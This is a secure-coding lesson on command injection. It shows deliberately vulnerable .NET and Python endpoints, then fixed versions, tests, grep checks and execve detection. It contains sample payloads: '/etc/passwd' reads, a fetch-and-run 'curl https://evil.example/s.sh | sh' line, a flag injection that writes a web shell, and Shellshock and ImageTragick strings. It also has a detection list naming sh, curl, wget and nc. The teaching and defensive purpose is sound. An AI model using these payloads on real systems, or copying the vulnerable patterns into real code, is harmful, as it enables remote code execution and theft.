What it is
Command injection is when user input reaches a shell command and the shell reads it as SYNTAX rather than as an argument. ;, |, &&, $(...), backticks and newlines are all shell operators, so a string containing them stops being one argument and becomes a second command.
Why you should care
This is the flaw with the highest impact per line of code: one string concatenated into Process.Start or os.system is remote code execution, not data disclosure. No escalation, no exploit chain.
What is worth remembering is that it always lives where nobody thinks they are handling user input:
- image or video conversion via
ffmpeg,imagemagick - PDF export via
wkhtmltopdf,pandoc - ping/traceroute on an admin diagnostics page
git cloneof a URL a user pasted- a cleanup job running
rmagainst a user-chosen name
And the fix is unusually simple: do not invoke a shell. Pass arguments as an argv array. With no shell parsing a string, there are no operators to abuse — one of very few vulnerability classes where the correct fix is shorter than the broken code.
How the attack works
The mechanism is about who parses the string. A shell in the path means a parser that reads operators; no shell means the string is just the bytes of one argument.
flowchart TD I["host = 8.8.8.8; cat /etc/passwd"] --> Q{Is a shell<br/>in the path?} Q -->|"os.system / bash -c<br/>UseShellExecute = true"| SH["/bin/sh -c<br/>#quot;ping -c1 8.8.8.8; cat /etc/passwd#quot;"] SH --> P["sh sees the ; → TWO commands"] P --> B["🔓 ping runs, then cat runs"] Q -->|"execve with an argv array"| EX["execve(#quot;/usr/bin/ping#quot;,<br/>[#quot;ping#quot;,#quot;-c1#quot;,#quot;8.8.8.8; cat /etc/passwd#quot;])"] EX --> G["ping receives ONE argument<br/>→ #quot;invalid host#quot;"]The key point is identical to SQL injection: on the safe branch the malicious string still arrives intact. Not a character is stripped — it is simply placed on the ARGUMENT side of the boundary, where no parser reads it.
The operators a blocklist would have to catch — and why blocklists lose:
| Operator | Example | Note | ||
|---|---|---|---|---|
; \n | 8.8.8.8; id | A newline behaves exactly like a semicolon | ||
&& `\ | \ | &` | 8.8.8.8 && id | & also backgrounds, so you see no output |
$(…) ` … ` | $(id) | Command substitution, runs BEFORE the main command | ||
| `\ | ` | `8.8.8.8 \ | id` | Pipe |
> < | x > /app/.ssh/authorized_keys | File write — needs no output at all | ||
${IFS} | cat${IFS}/etc/passwd | Defeats a "block spaces" fix |
Argument injection is the lesser-known variant and needs no operator at all: if an argument starts with -, it becomes a flag. curl --output /app/x.php or ssh -o ProxyCommand=… is RCE with no special characters — which is why a -- before user-supplied arguments is part of the fix.
Diagram description: A branching diagram for the same input "8.8.8.8; cat /etc/passwd". The shell branch (os.system or UseShellExecute) hands the string to /bin/sh -c, sh sees the semicolon so reads two commands and runs cat too. The execve branch passes the string as one single argv element, so ping merely reports an invalid host.
Concrete example
An admin diagnostics page: enter a host, the server runs ping and returns the output.
POST /api/admin/diagnostics/ping HTTP/1.1Content-Type: application/json {"host":"8.8.8.8; cat /etc/passwd"}HTTP/1.1 200 OK PING 8.8.8.8: 56 data bytes64 bytes from 8.8.8.8: icmp_seq=0 ttl=118 time=12.4 ms root:x:0:0:root:/root:/bin/bashapp:x:1000:1000::/home/app:/bin/shBlind variant — no output needed, only the ability to write a file:
{"host":"x $(curl -s https://evil.example/s.sh | sh)"}And argument injection, with not one special character:
{"host":"-c1 --output /app/wwwroot/x.aspx"}[HttpPost("/api/admin/diagnostics/ping")]public async Task<IActionResult> Ping([FromBody] PingRequest req){ // "Trang chẩn đoán nội bộ, chỉ admin dùng" là câu khiến đoạn này không bao giờ // được review kỹ. Nhưng admin là một tài khoản, và tài khoản thì bị chiếm. var psi = new ProcessStartInfo { FileName = "/bin/sh", // ❌ 1 — có shell. sh sẽ ĐỌC chuỗi này và tìm toán tử trong đó. // ❌ 2 — Arguments là một chuỗi: nó bị tách lại theo quy tắc của HĐH. Arguments = $"-c \"ping -c1 {req.Host}\"", UseShellExecute = false, // ❌ 3 — false, nhưng vô nghĩa: sh đã ở FileName RedirectStandardOutput = true, }; using var p = Process.Start(psi)!; var output = await p.StandardOutput.ReadToEndAsync(); await p.WaitForExitAsync(); return Ok(new { output });}@app.post("/api/convert")def convert(): src = request.json["filename"] # ❌ shell=True biến danh sách/chuỗi này thành đầu vào của /bin/sh. # filename = "a.png; curl evil|sh" là RCE, và đây là code chuyển đổi ảnh — # chỗ mà không ai nghĩ mình đang xử lý input người dùng. subprocess.run(f"convert /uploads/{src} -resize 200x200 /out/{src}", shell=True) return {"ok": True}What happened in the wild
Shellshock — CVE-2014-6271, September 2014. Bash parsed function definitions out of environment variables, and CGI puts HTTP headers into environment variables. So a header User-Agent: () { :; }; /bin/id was RCE on any web server running CGI scripts. Worth reading because it is the clearest case for block 3's point: the bug was in no application code at all — it was in there being a shell in the path.
ImageTragick — CVE-2016-3714. ImageMagick's delegates passed filenames into a shell command, so an .mvg file containing fill 'url(https://x/";curl evil|sh")' was RCE the moment somebody uploaded an avatar. Block 2's lesson in pure form: the bug lives where nobody calls it "input handling".
How to defend
Do not invoke a shell — pass an argv array
mandatoryThis is the whole fix, and it is shorter than the broken code. With no shell parsing the string, no operator exists.
- .NET:
ProcessStartInfowithUseShellExecute = false, adding each argument toArgumentList(not the stringArgumentsproperty — it joins then re-splits, and the splitting differs across platforms). - Python:
subprocess.run([...], shell=False).shell=Falseis the default — the problem is thatos.systemandshell=Truestill exist and are still more convenient. - Node:
execFile/spawnwith an array, notexec(which always goes through/bin/sh). - Go:
exec.Command(name, args...)uses no shell by default — Go got this right from the start.
And a -- before user-supplied arguments: that closes argument injection, which needs no special character. For commands without -- support, validate that the argument does not begin with -.
/// <summary>/// Ba thứ, và thứ ba là thứ hay bị bỏ:////// 1. KHÔNG có shell — FileName là chính binary, không phải /bin/sh./// 2. ArgumentList, không phải Arguments: mỗi phần tử tới execve như MỘT đối số,/// không qua vòng ghép-rồi-tách nào./// 3. "--" trước đối số của người dùng, cộng một phép kiểm rằng nó không bắt đầu/// bằng "-". Argument injection không cần ký tự đặc biệt nào: "--output /app/x"/// đi qua mọi bản vá chỉ nghĩ tới ; và |./// </summary>public sealed class PingService{ // Đường dẫn TUYỆT ĐỐI. Tên trần phụ thuộc PATH, và PATH là thứ đổi được — qua // biến môi trường của container, qua một Dockerfile bị sửa, qua chính RCE này. private const string PingBinary = "/usr/bin/ping"; public async Task<string> PingAsync(string host, CancellationToken ct) { // Kiểm hình dạng: KHÔNG phải bản vá chính, chỉ là chặn sớm cho thông báo lỗi // tử tế. Bản vá chính là ArgumentList bên dưới, và nó đứng vững cả khi phép // kiểm này bị ai đó xoá đi trong lần refactor sau. if (host.Length is 0 or > 253 || host.StartsWith('-')) throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Invalid host"); var psi = new ProcessStartInfo { FileName = PingBinary, UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true, }; // Mỗi phần tử là MỘT đối số. Chuỗi "8.8.8.8; cat /etc/passwd" tới ping // nguyên vẹn — và ping trả lời "invalid host", đúng như một hostname sai. psi.ArgumentList.Add("-c"); psi.ArgumentList.Add("1"); psi.ArgumentList.Add("-W"); psi.ArgumentList.Add("2"); psi.ArgumentList.Add("--"); // mọi thứ sau đây là toán hạng, không phải cờ psi.ArgumentList.Add(host); using var p = Process.Start(psi) ?? throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Could not start ping"); // Timeout là bắt buộc: một lệnh treo giữ một thread và một process con mãi mãi, // và đó là DoS mà không cần lỗ hổng nào. using var timeout = CancellationTokenSource.CreateLinkedTokenSource(ct); timeout.CancelAfter(TimeSpan.FromSeconds(5)); var stdout = await p.StandardOutput.ReadToEndAsync(timeout.Token); try { await p.WaitForExitAsync(timeout.Token); } catch (OperationCanceledException) { p.Kill(entireProcessTree: true); throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Ping timed out"); } return stdout; }} // Và bản vá TỐT HƠN cho đúng trường hợp này: không có process con nào cả.// Phần lớn lời gọi shell trong web app tồn tại vì nó nhanh nhất, không vì nó là// cách duy nhất — .NET có sẵn ICMP trong thư viện chuẩn.public async Task<string> PingWithoutProcessAsync(string host, CancellationToken ct){ using var ping = new System.Net.NetworkInformation.Ping(); var reply = await ping.SendPingAsync(host, TimeSpan.FromSeconds(2), cancellationToken: ct); return $"{reply.Status} {reply.RoundtripTime}ms";}import reimport subprocessfrom pathlib import Path UPLOADS = Path("/uploads").resolve()OUT = Path("/out").resolve() # Tên file do người dùng đặt: allowlist HÌNH DẠNG. Đây không phải bản vá chính —# bản vá chính là mảng argv — nhưng nó chặn sớm và đóng luôn path traversal.SAFE_NAME = re.compile(r"^[A-Za-z0-9_-]{1,64}\.(png|jpe?g|webp)$") class UnsafeInput(Exception): pass def convert(filename: str) -> Path: if not SAFE_NAME.match(filename): raise UnsafeInput("bad filename") src = (UPLOADS / filename).resolve() dst = (OUT / filename).resolve() # Canonical hoá rồi so — xem topic path-traversal. SAFE_NAME đã chặn "../" # nhưng dựa vào một regex duy nhất là dựa vào việc không ai sửa nó. if not src.is_relative_to(UPLOADS) or not dst.is_relative_to(OUT): raise UnsafeInput("escapes directory") subprocess.run( [ "/usr/bin/convert", # đường dẫn tuyệt đối: không phụ thuộc PATH "--", # mọi thứ sau đây là toán hạng, không phải cờ str(src), "-resize", "200x200", str(dst), ], shell=False, # mặc định, nhưng viết ra để người đọc sau thấy là cố ý check=True, timeout=20, # lệnh treo là DoS không cần lỗ hổng nào capture_output=True, # stderr vào log, KHÔNG vào response ) return dstBetter still: do not call an external command
Most shell calls in a web app exist because that was the fastest route, not the only one. Ping has System.Net.NetworkInformation.Ping; image resizing has ImageSharp or Pillow in-process; archiving has System.IO.Compression. No child process means no such surface.
When you must call out (ffmpeg, pandoc — no equivalent library), keep an allowlist of command names and use absolute paths: /usr/bin/ffmpeg, not ffmpeg. A bare name depends on PATH, and PATH is something that can be changed.
Least privilege for the child process
This layer decides what RCE gets. Run the service as a non-root user, with readOnlyRootFilesystem: true, allowPrivilegeEscalation: false, and all Linux capabilities dropped. On Kubernetes add seccompProfile: RuntimeDefault — it blocks most syscalls a payload needs.
And egress: an RCE that cannot call out cannot stage a second payload and cannot exfiltrate. See the SSRF topic for the concrete NetworkPolicy.
Detection: a child process is an event worth logging
A normal web app spawns very few child processes, and its set of command names barely changes. So an execve with a command name outside the allowlist is an extremely low-noise signal — unlike most security alerting. Falco or an eBPF audit on execve inside the app namespace, alerting on sh, curl, wget, nc or python that the app never legitimately runs.
Layer 3 because it blocks nothing — but it is the only control on this page that tells you while it is happening.
Verifying the fix
1. A unit test taking the OPERATOR TABLE from block 3 as input data, asserting the right thing: the malicious string arrives at the command as one single argument. A "does not throw" test is one a blocklist fix also passes. See the csharp / test tab.
2. A merge-blocking grep — the highest-yield check on this topic, because the dangerous APIs have a small, fixed set of names:
# .NET: string Arguments and UseShellExecute = truegrep -rnE 'UseShellExecute *= *true|\.Arguments *=' --include='*.cs' src/ \ && { echo "shell or string Arguments — blocked"; exit 1; }# Python / Nodegrep -rnE 'os\.system|shell *= *True|child_process\.exec\(|\bexecSync\(' \ --include='*.py' --include='*.ts' --include='*.js' src/ \ && { echo "shell invocation — blocked"; exit 1; }exit 03. Check at runtime that the process cannot spawn a useful shell (layer 2):
# Inside the container, these MUST fail:docker exec app id -u | grep -qv '^0$' || { echo "running as root"; exit 1; }docker exec app touch /app/x && { echo "root fs writable"; exit 1; }docker exec app sh -c 'curl -m2 https://example.com' && { echo "egress open"; exit 1; }exit 04. A separate argument-injection test. This is the check almost nobody writes: send -c1 --output /tmp/pwned and assert the file never appears. If it passes and you have not added --, the fix still has a hole.
5. Prove the execve alert actually fires. Run a non-allowlisted command in staging and assert the alert triggers. A detection rule nobody has ever tripped is a rule of unknown status.
public class PingServiceTests{ private readonly PingService _svc = new(); /// <summary> /// Mỗi dòng là một hàng của bảng toán tử ở khối 3. Khẳng định ở đây là điểm chính: /// KHÔNG phải "không throw" (một bản vá blocklist cũng không throw) mà là /// "lệnh thứ hai KHÔNG chạy" — kiểm bằng tác dụng phụ mà lệnh đó sẽ để lại. /// </summary> [Theory] [InlineData("8.8.8.8; touch /tmp/seclab-pwned")] [InlineData("8.8.8.8 && touch /tmp/seclab-pwned")] [InlineData("8.8.8.8 | touch /tmp/seclab-pwned")] [InlineData("8.8.8.8\ntouch /tmp/seclab-pwned")] [InlineData("$(touch /tmp/seclab-pwned)")] [InlineData("`touch /tmp/seclab-pwned`")] [InlineData("x;touch${IFS}/tmp/seclab-pwned")] public async Task Second_command_never_runs(string host) { const string marker = "/tmp/seclab-pwned"; if (File.Exists(marker)) File.Delete(marker); // Lệnh có thể lỗi (host không hợp lệ) — điều đó bình thường và không phải // điều đang được kiểm. try { await _svc.PingAsync(host, default); } catch { /* mong đợi */ } Assert.False(File.Exists(marker), $"lệnh thứ hai đã chạy với payload: {host}"); } /// <summary> /// Argument injection: KHÔNG có một ký tự đặc biệt nào ở đây. Test này là lý do /// "--" tồn tại trong ArgumentList — bỏ dòng đó ra thì đúng test này đỏ. /// </summary> [Theory] [InlineData("-f")] // ping flood — DoS, không cần file nào [InlineData("--help")] [InlineData("-c1 --output /tmp/seclab-pwned")] public async Task Arguments_starting_with_dash_are_rejected(string host) { var ex = await Assert.ThrowsAsync<ApplicationGeneralException>( () => _svc.PingAsync(host, default)); Assert.Contains("Invalid host", ex.Message); } /// <summary>Cặp đôi: host thật vẫn phải chạy được, nếu không bản vá là "chặn tất".</summary> [Fact] public async Task Real_host_still_works() { var output = await _svc.PingAsync("127.0.0.1", default); Assert.Contains("127.0.0.1", output); }}Common mistakes
| The "fix" | Why it is wrong | |
|---|---|---|
| Escape or quote the string, still go through a shell | Correct quoting for sh is wrong for cmd.exe; and $(…) still works inside double quotes | |
Blocklist ; `\ | &` | There is still \n, $(…), backticks, ${IFS}, > — the block 3 table does not end |
Arguments = $"ping -c1 {host}" in .NET | Still one string that gets re-split, and the splitting differs between Windows and Linux. ArgumentList is the fix | |
| Regex-validate "safe characters only" | A good check to ADD, but it does not close argument injection: -c1 matches every "digits and dashes" regex | |
Use shlex.quote() | Better than hand-escaping, but it still assumes a POSIX shell and still does not stop -flag. Drop the shell and you do not need it | |
| "It runs in a container, so it is safe" | A container bounds the damage (layer 2), it does not stop RCE. And if it runs as root inside the container, it bounds very little |
The most common scoping mistake: only looking where the word "command" appears. The real bug lives in the image-resize helper, the PDF export step, a git clone, or a library delegate you did not know shells out (ImageMagick is exactly that). The way to find it is to grep the process-spawning APIs, not the word "command".
The severity mistake: treating blind command injection as low risk because no output comes back. > /app/.ssh/authorized_keys needs no output.
Comments
Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.
You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.
Loading comments…